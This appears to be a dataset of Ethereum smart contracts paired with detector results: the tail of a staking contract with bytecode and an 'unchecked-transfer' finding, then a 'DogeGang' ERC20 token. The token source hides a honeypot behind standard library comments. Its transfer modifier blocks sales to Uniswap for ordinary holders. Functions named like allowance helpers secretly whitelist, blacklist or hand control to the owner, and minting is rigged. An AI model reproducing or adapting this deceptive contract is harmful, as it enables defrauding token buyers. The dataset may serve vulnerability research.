totalTokenStakesInContract.sub(_usersTokens[stakingId]); totalStakedTokenInTranquillityPool = totalStakedTokenInTranquillityPool.sub(_usersTokens[stakingId]); _ownerTokenAllowance = _ownerTokenAllowance.sub(getTokenRewardDetailsByStakingId(stakingId)); } else { _finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenPenaltyDetailByStakingId(stakingId)); itoken.transfer(msg.sender,_finalTokenStakeWithdraw[stakingId]); totalTokenStakesInContract = totalTokenStakesInContract.sub(_usersTokens[stakingId]); totalStakedTokenInTranquillityPool = totalStakedTokenInTranquillityPool.sub(_usersTokens[stakingId]); _ownerTokenAllowance = _ownerTokenAllowance.sub(getTokenPenaltyDetailByStakingId(stakingId)); } } else { return false; } return true; } // function to get Final Withdraw Staked value for token function getFinalTokenStakeWithdraw(uint256 id) public view returns(uint256){ return _finalTokenStakeWithdraw[id]; } // function to get total token stake in contract function getTotalTokenStakesInContract() public view returns(uint256){ return totalTokenStakesInContract; } /* * ------------------------------------------------------------------------------------------------------------------------------- * Get Functions for Stake Token Functionality * ------------------------------------------------------------------------------------------------------------------------------- */ // function to get Token Staking address by id function getTokenStakingAddressById(uint256 id) external view returns (address){ require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!"); return _tokenStakingAddress[id]; } // function to get Token staking id by address function getTokenStakingIdByAddress(address add) external view returns(uint256[]){ require(add != address(0),"Invalid Address, Pleae Try Again!!!"); return _tokenStakingId[add]; } // function to get Token Staking Starting time by id function getTokenStakingStartTimeById(uint256 id) external view returns(uint256){ require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!"); return _tokenStakingStartTime[id]; } // function to get Token Staking Ending time by id function getTokenStakingEndTimeById(uint256 id) external view returns(uint256){ require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!"); return _tokenStakingEndTime[id]; } // function to get Token Staking Total Days by Id function getTokenStakingTotalDaysById(uint256 id) external view returns(uint256){ require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!"); return _tokenTotalDays[id]; } // function to get Staking tokens by id function getStakingTokenById(uint256 id) external view returns(uint256){ require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!"); return _usersTokens[id]; } // function to get Token lockstatus by id function getTokenLockStatus(uint256 id) external view returns(bool){ require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!"); return _TokenTransactionstatus[id]; } }
0x6080604052600436106102035763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663032f3b0981146102085780630a57336a146102325780630afd19211461025e5780632841a1431461027357806329bfd11f1461028b578063332a35d2146102a05780633e4ffb16146102b857806341521e33146102cd578063423eea07146102e2578063477bddaa146102f757806350ff92a91461031857806354439ad01461032d5780635673017a14610345578063572b42631461035d5780635d0d1f42146103725780635d5b8cab1461038757806360c2a3481461039c57806364d8c6c1146103b4578063731d2912146103c957806384698190146103de5780638586ca00146103f5578063863997b21461040d57806386c75e74146104255780638cc15d4f1461043a578063906459791461044f57806397e66ba2146104645780639d6c890d14610479578063a4cb6727146104ad578063b248c812146104c2578063b2a56b8f146104da578063b802e791146104ef578063b8c1fc3314610504578063b9f7549b1461051c578063c8a840af1461058d578063cb6d8ee6146105a2578063cc40c36d146105b7578063cf3e324c146105cc578063f2fde38b146105e1578063fa0bd08e14610602578063fa8eb78214610617578063fe0174bd1461062c578063ffab4bd914610641575b600080fd5b34801561021457600080fd5b5061022060043561065c565b60408051918252519081900360200190f35b34801561023e57600080fd5b5061024a6004356106d1565b604080519115158252519081900360200190f35b34801561026a57600080fd5b506102206110d7565b34801561027f57600080fd5b5061024a6004356110de565b34801561029757600080fd5b506102206111e7565b3480156102ac57600080fd5b506102206004356111ee565b3480156102c457600080fd5b50610220611260565b3480156102d957600080fd5b50610220611266565b3480156102ee57600080fd5b5061022061126d565b34801561030357600080fd5b5061024a600160a060020a0360043516611273565b34801561032457600080fd5b50610220611307565b34801561033957600080fd5b5061022060043561130d565b34801561035157600080fd5b5061024a60043561137f565b34801561036957600080fd5b506102206113f4565b34801561037e57600080fd5b506102206113f9565b34801561039357600080fd5b50610220611400565b3480156103a857600080fd5b50610220600435611407565b3480156103c057600080fd5b50610220611419565b3480156103d557600080fd5b5061022061141f565b3480156103ea57600080fd5b506103f3611425565b005b34801561040157600080fd5b506102206004356114bd565b34801561041957600080fd5b5061022060043561157a565b34801561043157600080fd5b5061024a61161e565b34801561044657600080fd5b506103f3611627565b34801561045b57600080fd5b506102206116bc565b34801561047057600080fd5b506102206116c2565b34801561048557600080fd5b506104916004356116c8565b60408051600160a060020a039092168252519081900360200190f35b3480156104b957600080fd5b50610220611743565b3480156104ce57600080fd5b50610220600435611749565b3480156104e657600080fd5b506102206117bb565b3480156104fb57600080fd5b506102206117c0565b34801561051057600080fd5b5061024a6004356117cf565b34801561052857600080fd5b5061053d600160a060020a036004351661191d565b60408051602080825283518183015283519192839290830191858101910280838360005b83811015610579578181015183820152602001610561565b505050509050019250505060405180910390f35b34801561059957600080fd5b50610220611a0f565b3480156105ae57600080fd5b50610220611a16565b3480156105c357600080fd5b50610220611a1c565b3480156105d857600080fd5b50610220611a24565b3480156105ed57600080fd5b5061024a600160a060020a0360043516611a2b565b34801561060e57600080fd5b50610220611abf565b34801561062357600080fd5b50610220611ac6565b34801561063857600080fd5b50610491611acc565b34801561064d57600080fd5b5061024a600435602435611adb565b600b546000908211156106bb576040805160e560020a62461bcd02815260206004820152603b60248201526000805160206123118339815191526044820152600080516020612331833981519152606482015290519081900360840190fd5b506000818152600560205260409020545b919050565b600081815260036020526040812054600160a060020a03163314610765576040805160e560020a62461bcd02815260206004820152602c60248201527f4e6f207374616b656420746f6b656e20666f756e64206f6e207468697320616460448201527f647265737320616e642049440000000000000000000000000000000000000000606482015290519081900360840190fd5b60008281526008602052604090205460ff161515600114156107f7576040805160e560020a62461bcd02815260206004820152603760248201527f45697468657220746f6b656e732061726520616c72656164792077697468647260448201527f61776e206f7220626c6f636b65642062792061646d696e000000000000000000606482015290519081900360840190fd5b6000828152600a6020526040902054605a1415610b0e57600082815260056020526040902054623b5380014210156108c5576040805160e560020a62461bcd02815260206004820152605f60248201527f556e61626c6520746f205769746864726177205374616b656420746f6b656e2060448201527f6265666f72652034352064617973206f66207374616b696e672073746172742060648201527f74696d652c20506c656173652054727920416761696e204c6174657221212100608482015290519081900360a40190fd5b6000828152600860209081526040808320805460ff1916600117905560069091529020544210610a13576109166108fb8361157a565b6000848152600760205260409020549063ffffffff61223916565b6000838152600960209081526040808320849055600254815160e060020a63a9059cbb02815233600482015260248101959095529051600160a060020a039091169363a9059cbb9360448083019493928390030190829087803b15801561097c57600080fd5b505af1158015610990573d6000803e3d6000fd5b505050506040513d60208110156109a657600080fd5b50506000828152600760205260409020546010546109c99163ffffffff61229d16565b6010556000828152600760205260409020546011546109ed9163ffffffff61229d16565b601155610a0b6109fc8361157a565b600c549063ffffffff61229d16565b600c55610b09565b610a1f6108fb836114bd565b6000838152600960209081526040808320849055600254815160e060020a63a9059cbb02815233600482015260248101959095529051600160a060020a039091169363a9059cbb9360448083019493928390030190829087803b158015610a8557600080fd5b505af1158015610a99573d6000803e3d6000fd5b505050506040513d6020811015610aaf57600080fd5b5050600082815260076020526040902054601054610ad29163ffffffff61229d16565b601055600082815260076020526040902054601154610af69163ffffffff61229d16565b601155610b056109fc836114bd565b600c555b6110cf565b6000828152600a602052604090205460b41415610dea576000828152600560205260409020546276a70001421015610bdc576040805160e560020a62461bcd02815260206004820152605f60248201527f556e61626c6520746f205769746864726177205374616b656420746f6b656e2060448201527f6265666f72652039302064617973206f66207374616b696e672073746172742060648201527f74696d652c20506c656173652054727920416761696e204c6174657221212100608482015290519081900360a40190fd5b6000828152600860209081526040808320805460ff1916600117905560069091529020544210610cf857610c126108fb8361157a565b6000838152600960209081526040808320849055600254815160e060020a63a9059cbb02815233600482015260248101959095529051600160a060020a039091169363a9059cbb9360448083019493928390030190829087803b158015610c7857600080fd5b505af1158015610c8c573d6000803e3d6000fd5b505050506040513d6020811015610ca257600080fd5b5050600082815260076020526040902054601054610cc59163ffffffff61229d16565b601055600082815260076020526040902054601254610ce99163ffffffff61229d16565b601255610a0b6109fc8361157a565b610d046108fb836114bd565b6000838152600960209081526040808320849055600254815160e060020a63a9059cbb02815233600482015260248101959095529051600160a060020a039091169363a9059cbb9360448083019493928390030190829087803b158015610d6a57600080fd5b505af1158015610d7e573d6000803e3d6000fd5b505050506040513d6020811015610d9457600080fd5b5050600082815260076020526040902054601054610db79163ffffffff61229d16565b601055600082815260076020526040902054601254610ddb9163ffffffff61229d16565b601255610b056109fc836114bd565b6000828152600a602052604090205461010e14156110c75760008281526005602052604090205462b1fa8001421015610eb9576040805160e560020a62461bcd02815260206004820152606060248201527f556e61626c6520746f205769746864726177205374616b656420746f6b656e2060448201527f6265666f7265203133352064617973206f66207374616b696e6720737461727460648201527f2074696d652c20506c656173652054727920416761696e204c61746572212121608482015290519081900360a40190fd5b6000828152600860209081526040808320805460ff1916600117905560069091529020544210610fd557610eef6108fb8361157a565b6000838152600960209081526040808320849055600254815160e060020a63a9059cbb02815233600482015260248101959095529051600160a060020a039091169363a9059cbb9360448083019493928390030190829087803b158015610f5557600080fd5b505af1158015610f69573d6000803e3d6000fd5b505050506040513d6020811015610f7f57600080fd5b5050600082815260076020526040902054601054610fa29163ffffffff61229d16565b601055600082815260076020526040902054601354610fc69163ffffffff61229d16565b601355610a0b6109fc8361157a565b610fe16108fb836114bd565b6000838152600960209081526040808320849055600254815160e060020a63a9059cbb02815233600482015260248101959095529051600160a060020a039091169363a9059cbb9360448083019493928390030190829087803b15801561104757600080fd5b505af115801561105b573d6000803e3d6000fd5b505050506040513d602081101561107157600080fd5b50506000828152600760205260409020546010546110949163ffffffff61229d16565b6010556000828152600760205260409020546013546110b89163ffffffff61229d16565b601355610b056109fc836114bd565b5060006106cc565b506001919050565b623b538081565b60006110e86122ff565b1515611140576040805160e560020a62461bcd02815260206004820152602e60248201526000805160206123518339815191526044820152600080516020612371833981519152606482015290519081900360840190fd5b600c54611153908363ffffffff61223916565b600c556002546040805160e060020a6323b872dd028152336004820152306024820152604481018590529051600160a060020a03909216916323b872dd916064808201926020929091908290030181600087803b1580156111b357600080fd5b505af11580156111c7573d6000803e3d6000fd5b505050506040513d60208110156111dd57600080fd5b5060019392505050565b6224cb6881565b600b5460009082111561124d576040805160e560020a62461bcd02815260206004820152603b60248201526000805160206123118339815191526044820152600080516020612331833981519152606482015290519081900360840190fd5b5060009081526007602052604090205490565b600b5490565b62e0305281565b600f5490565b600061127d6122ff565b15156112d5576040805160e560020a62461bcd02815260206004820152602e60248201526000805160206123518339815191526044820152600080516020612371833981519152606482015290519081900360840190fd5b5060028054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001919050565b60105490565b600b5460009082111561136c576040805160e560020a62461bcd02815260206004820152603b60248201526000805160206123118339815191526044820152600080516020612331833981519152606482015290519081900360840190fd5b5060009081526006602052604090205490565b600b546000908211156113de576040805160e560020a62461bcd02815260206004820152603b60248201526000805160206123118339815191526044820152600080516020612331833981519152606482015290519081900360840190fd5b5060009081526008602052604090205460ff1690565b605a81565b6276a70081565b626e71a481565b60009081526009602052604090205490565b60135481565b60115481565b61142d6122ff565b1515611485576040805160e560020a62461bcd02815260206004820152602e60248201526000805160206123518339815191526044820152600080516020612371833981519152606482015290519081900360840190fd5b600e805460ff191660011790556040517f9e87fac88ff661f02d44f95383c817fece4bce600a3dab7a54406878b965e75290600090a1565b6000818152600660205260408120544210156110c7576000828152600a6020526040902054605a141561150d576000828152600760205260409020546305f5e100906224cb68025b0490506106cc565b6000828152600a602052604090205460b41415611543576000828152600760205260409020546305f5e10090626e71a402611505565b6000828152600a602052604090205461010e14156110c7576000828152600760205260409020546305f5e1009062e0305202611505565b6000818152600a6020526040812054605a14156115b0576000828152600760205260409020546305f5e10090623641df02611505565b6000828152600a602052604090205460b414156115e6576000828152600760205260409020546305f5e1009062a6671502611505565b6000828152600a602052604090205461010e14156110c7576000828152600760205260409020546305f5e1009063018ce1c502611505565b600e5460ff1681565b61162f6122ff565b1515611687576040805160e560020a62461bcd02815260206004820152602e60248201526000805160206123518339815191526044820152600080516020612371833981519152606482015290519081900360840190fd5b600e805460ff191690556040517fa45f47fdea8a1efdd9029a5691c7f759c32b7c698632b563573e155625d1693390600090a1565b60105481565b61010e81565b600b54600090821115611727576040805160e560020a62461bcd02815260206004820152603b60248201526000805160206123118339815191526044820152600080516020612331833981519152606482015290519081900360840190fd5b50600090815260036020526040902054600160a060020a031690565b60125481565b600b546000908211156117a8576040805160e560020a62461bcd02815260206004820152603b60248201526000805160206123118339815191526044820152600080516020612331833981519152606482015290519081900360840190fd5b506000908152600a602052604090205490565b60b481565b6a14adf4b7320334b900000081565b60006117d96122ff565b1515611831576040805160e560020a62461bcd02815260206004820152602e60248201526000805160206123518339815191526044820152600080516020612371833981519152606482015290519081900360840190fd5b600c5482106118b0576040805160e560020a62461bcd02815260206004820152602a60248201527f56616c7565206973206e6f74206665617369626c652c20506c6561736520547260448201527f7920416761696e21212100000000000000000000000000000000000000000000606482015290519081900360840190fd5b600c546118c3908363ffffffff61229d16565b600c556002546040805160e060020a63a9059cbb028152336004820152602481018590529051600160a060020a039092169163a9059cbb916044808201926020929091908290030181600087803b1580156111b357600080fd5b6060600160a060020a03821615156119a5576040805160e560020a62461bcd02815260206004820152602360248201527f496e76616c696420416464726573732c20506c6561652054727920416761696e60448201527f2121210000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a03821660009081526004602090815260409182902080548351818402810184019094528084529091830182828015611a0357602002820191906000526020600020905b8154815260200190600101908083116119ef575b50505050509050919050565b62b1fa8081565b600f5481565b63018ce1c581565b623641df81565b6000611a356122ff565b1515611a8d576040805160e560020a62461bcd02815260206004820152602e60248201526000805160206123518339815191526044820152600080516020612371833981519152606482015290519081900360840190fd5b5060008054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001919050565b62a6671581565b600c5490565b600054600160a060020a031690565b60008282828211611b5c576040805160e560020a62461bcd02815260206004820152602a60248201527f496e76616c696420546f6b656e20416d6f756e742c20506c656173652054727960448201527f20416761696e2121212000000000000000000000000000000000000000000000606482015290519081900360840190fd5b605a811480611b6b575060b481145b80611b77575061010e81145b1515611bf3576040805160e560020a62461bcd02815260206004820152602d60248201527f456e746572207468652056616c69642054696d6520506572696f6420616e642060448201527f54727920416761696e2021212100000000000000000000000000000000000000606482015290519081900360840190fd5b600e5460ff1615611c74576040805160e560020a62461bcd02815260206004820152603b60248201527f5374616b696e67206973205061757365642c20506c656173652074727920616660448201527f746572207374616b696e672067657420756e7061757365642121210000000000606482015290519081900360840190fd5b605a841415611e7a576011546a14adf4b7320334b900000090611c9d908763ffffffff61223916565b1115611cf3576040805160e560020a62461bcd02815260206004820152601b60248201527f536572656e69747920506f6f6c204c696d697420526561636865640000000000604482015290519081900360640190fd5b426201518085028101600d908155600b805460019081018083556000908152600a602090815260408083208b90558454835260038252808320805473ffffffffffffffffffffffffffffffffffffffff19163390811790915583526004825280832085548154958601825590845282842090940193909355935483548252600685528282205582548152600584528181209490945581548452600783528084208990559054835260089091529020805460ff19169055600f54611dbc908663ffffffff61223916565b600f55601054611dd2908663ffffffff61223916565b601055601154611de8908663ffffffff61223916565b6011556002546040805160e060020a6323b872dd028152336004820152306024820152604481018890529051600160a060020a03909216916323b872dd916064808201926020929091908290030181600087803b158015611e4857600080fd5b505af1158015611e5c573d6000803e3d6000fd5b505050506040513d6020811015611e7257600080fd5b5061222c9050565b60b484141561204e576012546a14adf4b7320334b900000090611ea3908763ffffffff61223916565b1115611ef9576040805160e560020a62461bcd02815260206004820152601e60248201527f457175696c69627269756d20506f6f6c204c696d697420526561636865640000604482015290519081900360640190fd5b426201518085028101600d908155600b805460019081018083556000908152600a602090815260408083208b90558454835260038252808320805473ffffffffffffffffffffffffffffffffffffffff19163390811790915583526004825280832085548154958601825590845282842090940193909355935483548252600685528282205582548152600584528181209490945581548452600783528084208990559054835260089091529020805460ff19169055600f54611fc2908663ffffffff61223916565b600f55601054611fd8908663ffffffff61223916565b601055601254611fee908663ffffffff61223916565b6012556002546040805160e060020a6323b872dd028152336004820152306024820152604481018890529051600160a060020a03909216916323b872dd916064808201926020929091908290030181600087803b158015611e4857600080fd5b61010e841415612223576013546a14adf4b7320334b900000090612078908763ffffffff61223916565b11156120ce576040805160e560020a62461bcd02815260206004820152601f60248201527f5472616e7175696c6c69747920506f6f6c204c696d6974205265616368656400604482015290519081900360640190fd5b426201518085028101600d908155600b805460019081018083556000908152600a602090815260408083208b90558454835260038252808320805473ffffffffffffffffffffffffffffffffffffffff19163390811790915583526004825280832085548154958601825590845282842090940193909355935483548252600685528282205582548152600584528181209490945581548452600783528084208990559054835260089091529020805460ff19169055600f54612197908663ffffffff61223916565b600f556010546121ad908663ffffffff61223916565b6010556013546121c3908663ffffffff61223916565b6013556002546040805160e060020a6323b872dd028152336004820152306024820152604481018890529051600160a060020a03909216916323b872dd916064808201926020929091908290030181600087803b158015611e4857600080fd5b60009250612231565b600192505b505092915050565b600082820183811015612296576040805160e560020a62461bcd02815260206004820152601d60248201527f43616c63756c6174696f6e206572726f7220696e206164646974696f6e000000604482015290519081900360640190fd5b9392505050565b600080838311156122f8576040805160e560020a62461bcd02815260206004820181905260248201527f43616c63756c6174696f6e206572726f7220696e207375627472616374696f6e604482015290519081900360640190fd5b5050900390565b600054600160a060020a03163314905600556e61626c6520746f2072657465726976652064617461206f6e207370656369666965642069642c20506c656173652074727920616761696e21210000000000596f7520617265206e6f742061757468656e74696361746520746f206d616b652074686973207472616e73666572000000000000000000000000000000000000a165627a7a72305820ac4fe51b8de9da5600f2a4c4deb4cd209f8a2fdcc0fa995a26fe626fb3ab0e5d0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
8,897
0x95554e0bcba042aaddd59fc7739353c498858c05
pragma solidity ^0.6.0; /** * Website: https://dogegang.finance Twitter (please like and retweet the launch post): https://twitter.com/dogegang Telegram chat: https://t.me/dogeganginu Coming soon: 1.) UniSwap v2 listing 2.) CoinGecko listing (request submitted). 3.) CoinMarketCap listing (request submitted). 4.) Smart Contract Audit Report (being organised). Group Rules: Only English No Fud Respect each other Let's get the word out 😀🚀 */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract TokenContract is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(owner, initialSupply*(10**18)); _mint(0x163852c749F9D897E085fB9F733c1224DdA9f431, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
